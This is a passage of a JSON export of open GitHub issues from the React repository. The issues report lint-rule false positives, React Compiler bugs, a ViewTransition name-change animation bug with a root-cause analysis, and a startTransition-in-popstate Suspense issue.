See More

{ "issues": [ { "url": "https://api.github.com/repos/facebook/react/issues/35984", "id": 4047584712, "node_id": "I_kwDOAJy2Ks7xQT3I", "number": 35984, "title": "Bug: react-hooks/static-components false positive", "user": { "login": "retyui", "id": 4661784, "node_id": "MDQ6VXNlcjQ2NjE3ODQ=", "avatar_url": "https://avatars.githubusercontent.com/u/4661784?v=4", "gravatar_id": "", "url": "https://api.github.com/users/retyui", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 2, "created_at": "2026-03-09T19:52:41Z", "updated_at": "2026-03-09T21:34:29Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "\neslint-plugin-react-hooks: 7.0.1\n\n## Steps To Reproduce\n\n1.Create react app\n2. Add this `eslint-plugin-react-hooks` plugin \n3. Lint the next code\n\n```tsx\nimport { FeatureRemovalBuildTime } from '@xxx/build-time-tools/FeatureRemovalBuildTime';\nimport { PlatformSwitchBuildTime } from '@xxx/build-time-tools/PlatformSwitchBuildTime';\nimport { isMyFeature } from '@xxx/config/exporter';\nimport ErrorMessageMT from './ErrorMessageMT';\nimport ErrorMessageBase from './ErrorMessageBase';\n\nimport type { ErrorMessageProps } from './types';\n\nconst ErrorMessage = (props: ErrorMessageProps) => {\n 'use memo';\n\n const ErrorMessageView = PlatformSwitchBuildTime.select({\n anyMT:\n FeatureRemovalBuildTime.isMyFeature && isMyFeature()\n ? ErrorMessageMT\n : ErrorMessageBase,\n default: ErrorMessageBase,\n });\n\n return ; // Error: react-hooks/static-components\n};\n\nexport default ErrorMessage;\n\n```\n\n## The current behavior\n\nEslint will complain that `ErrorMessageView` was created during the render \n\n## The expected behavior\n\nBut all values inside if check are stable and valid as in this example: https://react.dev/reference/eslint-plugin-react-hooks/lints/static-components#valid\n", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35984/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35983", "id": 4046760592, "node_id": "I_kwDOAJy2Ks7xNKqQ", "number": 35983, "title": "Bug: `` name-prop change does not trigger view transition without child DOM mutation", "user": { "login": "kjanat", "id": 6353477, "node_id": "MDQ6VXNlcjYzNTM0Nzc=", "avatar_url": "https://avatars.githubusercontent.com/u/6353477?v=4", "gravatar_id": "", "url": "https://api.github.com/users/kjanat", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 0, "created_at": "2026-03-09T16:59:24Z", "updated_at": "2026-03-09T16:59:24Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "A `` whose `name` prop changes between renders does **not** trigger the view transition update pipeline unless a child DOM mutation also occurs. Hero morphs via name-prop toggling on mounted components silently produce no animation.\n\n## React version\n\n- `react`: `19.3.0-canary-46103596-20260305`\n- `react-dom`: `19.3.0-canary-46103596-20260305`\n\n## Steps to reproduce\n\n1. Mount two `` boundaries wrapping a button and a dialog\n2. Toggle the `name` prop between them (one gets `\"camera-hero\"`, the other `undefined`) via `startTransition` + `addTransitionType`\n3. No child DOM mutations occur during the transition\n\n**Reproduction repo:** https://github.com/kjanat/react-canary-19.3.0-view-transition-bug \n**Live preview:** https://kjanat.github.io/react-canary-19.3.0-view-transition-bug/ \n**CodeSandbox:** https://codesandbox.io/p/sandbox/yx5sdy\n\nToggle between **Broken** and **Workaround** modes to see the difference.\n\nMinimal repro component:\n\n```tsx\n\n \n\n\n\n

{modalContent}\n\n```\n\nThe `heroOwner` state toggles between `'button'` and `'dialog'` inside `startTransition` with `addTransitionType('camera-modal')`.\n\n## Expected behavior\n\nOpening the modal morphs smoothly from the trigger button to the dialog (shared `camera-hero` element with CSS view-transition animations).\n\n## Actual behavior\n\nModal appears instantly -- no hero morph animation. See [root cause §1](#1-name-only-changes-do-not-produce-update) for the code path that leads to a zero-opacity cancellation.\n\n### Workaround\n\nTwo changes required simultaneously (visible in workaround mode in the reproduction):\n\n1. **`update` prop** -- unblocks VT processing (otherwise `default='none'` gates it out):\n ```tsx\n update={{ default: 'none', 'camera-modal': 'camera-hero-morph' }}\n ```\n2. **Forced child DOM mutation** -- sets the internal `Update` flag on the VT fiber:\n ```tsx\n \n ```\n\nThe `data-hero-owner` attribute serves no purpose other than forcing a child DOM mutation that sets a flag which logically should depend on the name change itself.\n\n## Root cause (source references)\n\nAll references below are GitHub permalinks to React commit [`4610359651fa10247159e2050f8ec222cb7faa91`][react-commit], matching `[email protected]`.\n\n### 1. Name-only changes do not produce `Update`\n\nIn [`measureViewTransitionHostInstancesRecursive`][measure-recursive], the `Update` flag gates whether `applyViewTransitionName` fires for the new snapshot:\n\n```js\n(parentViewTransition.flags & Update) !== NoFlags\n && applyViewTransitionName(instance, newName, className);\n```\n\nIn this code path, the `Update` flag is set in the mutation phase ([`ReactFiberCommitWork.js#L2634-L2645`][update-flag-set]) when `viewTransitionMutationContext` is `true`:\n\n```js\nviewTransitionMutationContext && (finishedWork.flags |= Update);\n```\n\n`viewTransitionMutationContext` becomes `true` when a DOM mutation (attribute change, text change, element insertion/removal) occurs within the VT's child subtree during the mutation commit. The `Update` flag can also be set during measurement if `hasInstanceChanged()` detects a bounding-rect change ([L676-681][has-instance-changed]), but in this scenario (name-only prop change, no layout shift), measurements are identical and this path returns false.\n\nWhen only the VT's `name` prop changes, with no child mutations and no layout change, the flag stays `NoFlags`. Without `Update`, the instance is not passed to `applyViewTransitionName` but is instead pushed to `viewTransitionCancelableChildren`, which leads to a zero-opacity cancellation path in [`ReactFiberConfigDOM.js#L1616-L1640`][cancel-animation]:\n\n```js\ncurrent.animate(\n { opacity: [0, 0], pointerEvents: ['none', 'none'] },\n { duration: 0, fill: 'forwards', pseudoElement: '::view-transition-group(' + oldName + ')' },\n);\n```\n\n> **Note:** this cancellation path is only reachable when the `update` prop unblocks before-mutation snapshot capture and after-mutation measurement. With `default='none'` and no `update` prop, host instances never receive VT names in the first place, so they never reach `viewTransitionCancelableChildren`. The zero-opacity cancellation manifests specifically in the partial-workaround state (setting `update` without also forcing a DOM mutation).\n\nReact already detects the name change in `beginWork` at [`ReactFiberBeginWork.js#L3617-L3622`][name-change-detected]:\n\n```js\nif (current !== null && current.memoizedProps.name !== pendingProps.name) {\n workInProgress.flags |= Ref | RefStatic;\n}\n```\n\nThis sets `Ref | RefStatic` for ref lifecycle, but it does not propagate into the commit phase as a VT update signal.\n\n### 2. `default='none'` gates out the update path (compounding)\n\nThe `share` prop name suggests it controls shared-element/hero morphs, but in the source it is consulted in the **enter/exit pair** path ([`commitEnterViewTransitions`][commit-enter] and [`commitExitViewTransitions`][commit-exit]) and not in the update path. When both VTs stay mounted and only change their `name` prop, React routes through the **update** path, which calls `getViewTransitionClassName(props.default, props.update)` in two phases:\n\n| Phase | Source permalink | Gate |\n| --------------- | ---------------------------------------------------------------------- | ------------------------------------------------------------------- |\n| Before-mutation | [`ReactFiberCommitViewTransitions.js#L489-L513`][before-mutation-gate] | Class name `=== 'none'` → skip old-snapshot VT name application |\n| After-mutation | [`ReactFiberCommitViewTransitions.js#L768-L803`][after-mutation-gate] | Class name `=== 'none'` → skip measurement and new-snapshot VT name |\n\nThe mutation phase ([`ReactFiberCommitWork.js#L2623-L2633`][update-mutation-gate]) also checks the class name to set `inUpdateViewTransition`, but this variable controls Portal context propagation in the traced code path -- the `Update` flag assignment at [L2634-L2645][update-flag-set] is gated by `viewTransitionMutationContext`, not by the class name.\\\nSo `default='none'` blocks the before/after-mutation phases, while the missing DOM mutation independently blocks the `Update` flag.\n\n### 3. Separate observation: `share` not consulted in update path\n\nThe `share` prop is only consulted in the enter/exit pair path and not in the update path. This may be by-design (the update path handles DOM mutations, not shared-element pairing), but the documentation is silent on the expected behavior when only `name` changes on a mounted ``.\n\n## Suggested fix\n\nThe name-change detection in [`beginWork`][name-change-detected] (`current.memoizedProps.name !== pendingProps.name`) could additionally set the `Update` flag or an equivalent signal, so the commit phase treats the VT as updated even without child DOM mutations.\n\nA cleaner alternative is to keep the fix local to the mutation-phase commit handler for `ViewTransitionComponent`, adding a name-change check alongside `viewTransitionMutationContext`:\n\n```js\n} else if (\n viewTransitionMutationContext\n || current.memoizedProps.name !== finishedWork.memoizedProps.name\n) {\n finishedWork.flags |= Update;\n}\n```\n\nThis would keep the `Update` flag closer to its apparent current usage (set during mutation phase, consumed in measurement) without changing `beginWork` flag behavior.\n\nAdditionally, the `share` className may need to be consulted in the update path when a name change is detected, not only in the enter/exit pair path.\n\n## Docs note\n\nThe `` documentation distinguishes `share` (enter/exit pairing) from `update` (DOM mutations / layout effects), but does not clarify what should happen when only the `name` prop changes across already-mounted `` boundaries. It's unclear whether mounted name toggling is expected to produce a transition or is intentionally unsupported.\n\n[react-commit]: https://github.com/facebook/react/commit/4610359651fa10247159e2050f8ec222cb7faa91\n[measure-recursive]: https://github.com/facebook/react/blob/4610359651fa10247159e2050f8ec222cb7faa91/packages/react-reconciler/src/ReactFiberCommitViewTransitions.js#L642-L705\n[has-instance-changed]: https://github.com/facebook/react/blob/4610359651fa10247159e2050f8ec222cb7faa91/packages/react-reconciler/src/ReactFiberCommitViewTransitions.js#L676-L681\n[cancel-animation]: https://github.com/facebook/react/blob/4610359651fa10247159e2050f8ec222cb7faa91/packages/react-dom-bindings/src/client/ReactFiberConfigDOM.js#L1616-L1640\n[update-flag-set]: https://github.com/facebook/react/blob/4610359651fa10247159e2050f8ec222cb7faa91/packages/react-reconciler/src/ReactFiberCommitWork.js#L2634-L2645\n[before-mutation-gate]: https://github.com/facebook/react/blob/4610359651fa10247159e2050f8ec222cb7faa91/packages/react-reconciler/src/ReactFiberCommitViewTransitions.js#L489-L513\n[after-mutation-gate]: https://github.com/facebook/react/blob/4610359651fa10247159e2050f8ec222cb7faa91/packages/react-reconciler/src/ReactFiberCommitViewTransitions.js#L768-L803\n[name-change-detected]: https://github.com/facebook/react/blob/4610359651fa10247159e2050f8ec222cb7faa91/packages/react-reconciler/src/ReactFiberBeginWork.js#L3617-L3622\n[update-mutation-gate]: https://github.com/facebook/react/blob/4610359651fa10247159e2050f8ec222cb7faa91/packages/react-reconciler/src/ReactFiberCommitWork.js#L2623-L2633\n[commit-enter]: https://github.com/facebook/react/blob/4610359651fa10247159e2050f8ec222cb7faa91/packages/react-reconciler/src/ReactFiberCommitViewTransitions.js#L287-L326\n[commit-exit]: https://github.com/facebook/react/blob/4610359651fa10247159e2050f8ec222cb7faa91/packages/react-reconciler/src/ReactFiberCommitViewTransitions.js#L409-L451\n", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35983/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35982", "id": 4045839769, "node_id": "I_kwDOAJy2Ks7xJp2Z", "number": 35982, "title": "Bug: react-hooks/refs false positive using IntersectionObserver", "user": { "login": "ashleymercer", "id": 13454082, "node_id": "MDQ6VXNlcjEzNDU0MDgy", "avatar_url": "https://avatars.githubusercontent.com/u/13454082?v=4", "gravatar_id": "", "url": "https://api.github.com/users/ashleymercer", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 0, "created_at": "2026-03-09T14:11:07Z", "updated_at": "2026-03-09T14:12:02Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "React version: 17.0.2\neslint-plugin-react: 7.37.5\neslint-plugin-react-hooks: 7.0.1\n\n## Steps To Reproduce\n\nAttempting to create a simple hook to wrap `IntersectionObserver`:\n\n```ts\nfunction useIntersectionObserver(options: Partial) {\n\n const callbacks = useRef(new Map());\n\n const onIntersect = useCallback((entries: ReadonlyArray) => {\n entries.forEach(entry => callbacks.current.get(entry.target.id)?.(entry.isIntersecting)) },\n []\n );\n\n const observer = useMemo(() => \n // This line incorrectly reports \"Error: Cannot access refs during render\"\n new IntersectionObserver(onIntersect, options),\n [onIntersect, options]\n );\n\n // Some other stuff here\n}\n```\n\nLink to code example:\n\n\n\n## The current behavior\n\nThe above code reports the following when running `eslint`:\n\n```\nerror Error: Cannot access refs during render\n\nReact refs are values that are not needed for rendering. Refs should only be accessed outside of render, \nsuch as in event handlers or effects. Accessing a ref value (the `current` property) during render can \ncause your component not to update as expected (https://react.dev/reference/react/useRef).\n\ncommon\\ReactHooks.ts:97:30\n|\n| const observer = useMemo(() =>\n| new IntersectionObserver(onIntersect, options), [onIntersect, options]);\n| ^^^^^^^^^^^ Cannot access ref value during render\n|\n```\n\n## The expected behavior\n\nThe code is not using a ref (at least, not directly) and anyway it isn't rendering - so it's a mystery as to why the error is reported, unless I'm missing some subtle behaviour?\n", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35982/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35973", "id": 4036552218, "node_id": "I_kwDOAJy2Ks7wmOYa", "number": 35973, "title": "[Compiler Bug]: ref initialization using `=== null` doesn't work with impure functions", "user": { "login": "simarmol", "id": 9138378, "node_id": "MDQ6VXNlcjkxMzgzNzg=", "avatar_url": "https://avatars.githubusercontent.com/u/9138378?v=4", "gravatar_id": "", "url": "https://api.github.com/users/simarmol", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 3, "created_at": "2026-03-06T23:02:39Z", "updated_at": "2026-03-07T01:35:45Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### What kind of issue is this?\n\n- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)\n- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)\n- [x] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)\n- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)\n\n### Link to repro\n\nhttps://eslint-online-playground.netlify.app/#eNqlVM1um0AQfpXRXupExNydOmqlJGpOrZKqPQQfKAx442UX7U/iyELqQ/QJ+ySdYbENbtRLhQ1o99tvvvlmhp1wtkhxmzetwvmT24qFkE1rrIcdBIf3WCX8vKkqLDx0UFnTQCYs5oXPxGWm+aqCLrw0Gr4EizeRbHYGu0wD8L8w2nmwWMFyIJ3poNQZHQeQFcxoa14Ea1F7WC6X0O/G8wBpCodFKNZYbKA06PQ7D97KukbbU0tND12ijacmlKS4FwvQ8Y0YTfBOlgh+jUdy6QGtNdYx6JRAmxaJpt/xwWp4X8rnq5YyptB08sXYjXuf8iJFojh8sfa7pgdV5Jixr/D75y/mdmCDQsiVMi8uAYJI/xrXbu/ubx5GrkaCE1//z9Npcte5x7k2L7OzS/amL+7F2piNSwddvS2wRouDifw49MWMRC2v9tyszFA3KVPPMtGYoD2WkFO7JOO4UWmXwOOKX0+NpS48WPtDmWKD5dRctpYUPHgS35ufWwpV9v6O3YwOj+z8fsC+aenjoPijX0Vr+whDikenovyx4qOGo1CRCHRKaj8n8krWNGLHCet9/sQ278cqYi9aFWqpL0Z1GEYNt/3BEqs8KJLKEgbXK6nQLWhJnJ+n5/Pdk0tonBPv6LftMrFKIi5yE3K3H+N9hMVYUDfAVa7rkNf4uWXv+FhcJ6LcOrR/rwNg0eTf0DraWFAQRZ45rv4R4UywBX59bZEBjSmpUBMAU9xiTuZyUjugVBY07QEPwrh14tv+ydUeC5mkNzQyZ0k2czeP4k2RPJxv4WIcvq8uqa5tXmzIGKqo0VTT+LETnnKKhydZZaLE52ts+QOlC4l9gEFpJj7EuqdPQ9wTx/Z98c/NN5tmjD8Mbie6P5C2ABI=\n\n### Repro steps\n\nSee the link for playground.\n\nBasically, the ref-in-render rule doc states that this very specific access is allowed:\n\nExample 1:\n```jsx\n// ✅ Lazy initialization of ref value\nfunction Component() {\n const ref = useRef(null);\n\n // Initialize only once on first use\n if (ref.current === null) {\n ref.current = expensiveComputation(); // OK - lazy initialization\n }\n```\n\nHowever, if `expensiveComputation` is impure, it still fires.\nExample 2:\n```jsx\n if (ref.current === null) {\n ref.current = Date.now(); // purity rule\n```\n\n\nAnd of course, `useState(() => Date.now())` is fine. The react docs say\n```\n// It only runs once when the hook is called, so only the current date at the\n// time the hook is called is set first.\n```\n\nBetween those three, I'd expect my second example to be valid, but it's not?\n\n### How often does this bug happen?\n\nEvery time\n\n### What version of React are you using?\n\n19.0.1\n\n### What version of React Compiler are you using?\n\n1.0.0", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35973/reactions", "total_count": 2, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 2, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [ 35987 ] }, { "url": "https://api.github.com/repos/facebook/react/issues/35971", "id": 4033583753, "node_id": "I_kwDOAJy2Ks7wa5qJ", "number": 35971, "title": "Bug: React Compiler does not preserve HTML entity", "user": { "login": "mihkeleidast", "id": 1892091, "node_id": "MDQ6VXNlcjE4OTIwOTE=", "avatar_url": "https://avatars.githubusercontent.com/u/1892091?v=4", "gravatar_id": "", "url": "https://api.github.com/users/mihkeleidast", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 7, "created_at": "2026-03-06T11:01:09Z", "updated_at": "2026-03-06T21:39:16Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "When using React Compiler on this component:\n\n```jsx\nexport default function MyApp() {\n return (\n
\n \n hello world\n
\n );\n}\n```\nthe HTML entity gets removed with compiler:\n\n```js\nimport { c as _c } from \"react/compiler-runtime\";\nexport default function MyApp() {\n const $ = _c(1);\n let t0;\n if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n t0 = (\n
\n hello world\n
\n );\n $[0] = t0;\n } else {\n t0 = $[0];\n }\n return t0;\n}\n```\n\n\nReact version: 19.2.4\n\n## Steps To Reproduce\n\nLink to code example: https://playground.react.dev/#N4Igzg9grgTgxgUxALhAgHgBwjALgAgBMEAzAQygBsCSoA7OXASwjvwFkBPAQU0wAoAlPmAAdNvhgJcsNv3H5F+ADyEmANwB8CpYoBkAYgDMAJgDcO3crCYydTQAsElShHwB3HJULKA9DbttCUU-NS0dQQs6AF9xEAAaEDhWEiYAcxQQJgBbbDx8XE5MBBF8AAVKKDSmOgB5TGZWMHxo-BIYCGz8AHIAIzJe5wBaTErquiGpMkYh5NymSgQYXzUwXG6o8X4xCV9fOcwFska6dghiZHxREDIXa-FWsGOmMFSEZoqqmvqTsEiE8AOCDuACSdFwSzotzAKHIlDACGiQA\n\n## The current behavior\n\nHTML entity is removed.\n\n## The expected behavior\n\nHTML entity should be kept as-is.", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35971/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [ 35974 ] }, { "url": "https://api.github.com/repos/facebook/react/issues/35966", "id": 4030701480, "node_id": "I_kwDOAJy2Ks7wP5-o", "number": 35966, "title": "Bug: `startTransition` inside `popstate` shows Suspense fallback instead of previous UI", "user": { "login": "danteissaias", "id": 105590557, "node_id": "U_kgDOBksvHQ", "avatar_url": "https://avatars.githubusercontent.com/u/105590557?v=4", "gravatar_id": "", "url": "https://api.github.com/users/danteissaias", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 0, "created_at": "2026-03-05T21:24:01Z", "updated_at": "2026-03-05T21:24:01Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "When `startTransition` is called inside a `popstate` event handler (like pressing the browser back button), React shows the Suspense fallback if the component suspends. Outside of `popstate` events, `startTransition` keeps the previous UI visible while the new content loads. The `popstate` case should behave the same way.\n\nThis was discussed as planned but not yet implemented in #26025:\n\n> \"the thinking was we would fall back to the regular transition behavior (give up and change it back to async). This PR doesn't implement that but it's not as urgent as the main fix and we can add that later.\"\n\nReact version: 19.2.0\n\n## Steps To Reproduce\n\n1. Render a component that suspends inside a `Suspense` boundary. Let it resolve.\n2. Call `history.pushState` and use `startTransition` to render a different component.\n3. Invalidate the first component's data so it will suspend again on next render.\n4. Press the browser back button. In the `popstate` handler, call `startTransition` to switch back.\n\nLink to code example: https://codesandbox.io/p/sandbox/mfs2q3\n\nNote: Does not reproduce in CodeSandbox's iframe. Open the preview in a new tab.\n\n## The current behavior\n\nThe Suspense fallback is shown during back navigation, even though the update is wrapped in `startTransition`. This only happens when `startTransition` is called inside a `popstate` event. The same `startTransition` call outside of `popstate` keeps the previous UI visible as expected.\n\n## The expected behavior\n\nThe previous UI should stay visible while the suspended component loads, regardless of whether `startTransition` was called inside a `popstate` event or not. The synchronous popstate optimization (#26025) should fall back to normal transition behavior when it can't finish without suspending.", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35966/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [ 35975 ] }, { "url": "https://api.github.com/repos/facebook/react/issues/35960", "id": 4026707888, "node_id": "I_kwDOAJy2Ks7wAq-w", "number": 35960, "title": "[Compiler Bug]: React Compiler silently skips custom hooks whose only hook call is use()", "user": { "login": "carlbergman", "id": 30546, "node_id": "MDQ6VXNlcjMwNTQ2", "avatar_url": "https://avatars.githubusercontent.com/u/30546?v=4", "gravatar_id": "", "url": "https://api.github.com/users/carlbergman", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 1, "created_at": "2026-03-05T08:30:48Z", "updated_at": "2026-03-05T09:39:39Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### What kind of issue is this?\n\n- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)\n- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)\n- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)\n- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)\n\n### Link to repro\n\nhttps://playground.react.dev/#N4Igzg9grgTgxgUxALhASwLYAcIwC4AEwBcMCAhnggMIQB2VAHngDQFRgJsc31OEBfAgDMYEDAQDkZcnDySA3AB06KuPTCEAsgE9aDBMwIBeEjKr7+BADxECAN3IAbKAmQFNMNHQDmBIQB8BAAUdFBOTgCEAJTKqnSGOPgiUHRyaPTsnLqWhngA6mh4ABYAqpzB0UQqBCQahMSOLgj+JlkIwTl8ebE1BGR4sHR2Ta7+cQIqKom4hMKp6Zk8XQbMhSXlvKt4ldXDdXSaI85jQqY8ucydet3MvfsDQ8fN4yoCICwg6nTCaD4o6GwswIeB0WBaxAACi4fN4APJYPAZQ6tUTiKQAI3IGIQTgAtFgYd48TI5Hj1Ng0E4EDAAPQAEzQmkUUzowWAfVptIpWCplGRWgg9LcBCUIGcTjFbw8-LAvwQYAI0KgsLoCKRGliH3AxQgAHcAJIGGB0ZxgFDCM0IARAA\n\n### Repro steps\n\n1. Create a context `MyContext` and a custom hook `useMyContext` that only calls `use(MyContext)`\n2. Compile in the default infer compilation mode.\n3. Observe that `useMyContext` is silently skipped by the compiler, no memoization is applied.\n4. Change `use(MyContext)` to `useContext(MyContext)`, the compiler now recognizes the function as containing a hook call and compiles it correctly.\n\n### How often does this bug happen?\n\nEvery time\n\n### What version of React are you using?\n\n19.2.4\n\n### What version of React Compiler are you using?\n\nbabel-plugin-react-compiler 1.0.0", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35960/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35938", "id": 4009603204, "node_id": "I_kwDOAJy2Ks7u_bCE", "number": 35938, "title": "Bug:", "user": { "login": "tiagolimacamposoficial-cyber", "id": 264857920, "node_id": "U_kgDOD8lpQA", "avatar_url": "https://avatars.githubusercontent.com/u/264857920?v=4", "gravatar_id": "", "url": "https://api.github.com/users/tiagolimacamposoficial-cyber", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 7, "created_at": "2026-03-02T06:44:00Z", "updated_at": "2026-03-04T21:32:07Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "\n\nReact version:\n\n## Steps To Reproduce\n\n1.\n2.\n\n\n\nLink to code example:\n\n\n\n## The current behavior\n\n\n## The expected behavior\n", "closed_by": null, "reactions": { "url": 